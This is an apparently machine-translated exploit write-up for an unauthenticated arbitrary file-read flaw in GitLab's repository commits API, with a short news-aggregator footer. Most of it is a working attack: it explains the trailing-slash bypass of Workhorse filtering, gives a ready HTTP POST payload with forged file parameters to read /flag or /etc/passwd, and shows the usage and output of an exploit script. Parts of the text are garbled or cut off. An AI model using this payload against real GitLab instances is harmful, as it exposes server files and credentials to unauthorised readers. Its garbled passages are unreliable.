# CVE-2026-85706: GitLab CE/EE allows arbitrary file reading without authorization
- **Component**: Repository Commits API (Workhorse body-upload variant)
- **Affected Versions**: 18.7 and later versions. When the request contains the parameter `bad_request!`, a 400 response is returned. **Modification**: The trailing slash bypasses Workhorse’s filtering mechanism. Directly hitting the main endpoint will trigger Workhorse’s body-upload filtering (strictly matching `.../repository/commits\z`). Falsified parameters are included in the uploaded file. Adding a `/` at the end of the URL does not trigger this rule; instead, it falls back to the signature reverse proxy. The original request body, along with the falsified parameters, is forwarded to Rails, and a valid JWT is included. `require_gitlab_workhorse!` is passed through; after normalizing the trailing slash, the vulnerability handler is still triggered. **Prerequisites**: The `:id` in the URL must refer to a real project (any public project is acceptable). No login is required throughout the process. **Usage Example**:
HTTP POST /api/v4/projects/1/repository/commits/
Content-Type: application/x-www-form-urlencoded
file=&file.path=/flag&file.size=1&Content-Type=application/x-www-form-urlencoded
**Response** (including lines containing illegal `%-sequences`):
{"message":"400 Bad request - Invalid parameter: invalid %-encoding (flag{...}%)"}
Legal JSON files processed by `Oj.load_file` do not produce any output, and can be used as an oracle for file existence checks. **Script Usage**:
Python 3 standard library implementation, no third-party dependencies required.
python3 exploit.py -t -f /etc/passwd
| `-t` | Target GitLab address (required), e.g., `
| `-f` | Absolute path to read (default: `/flag`)
| `-p` | Project ID; any real project is acceptable (default: `1`)
| `-o` | Save the read content to a local file |
**Example Output** (flag details are masked):
============================================================
CVE-2026-85706 | GitLab unauth arbitrary file read | @mhtsec
============================================================
[*] CVE-2026-85706 targeting http:// -> /flag
------------------------------------------------------------
flag{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx%}
------------------------------------------------------------
> This tool is only used for authorized security testing and vulnerability research.
The full story
This article is one source in a clustered incident — the cluster page carries the summary, timeline and every other outlet covering it.
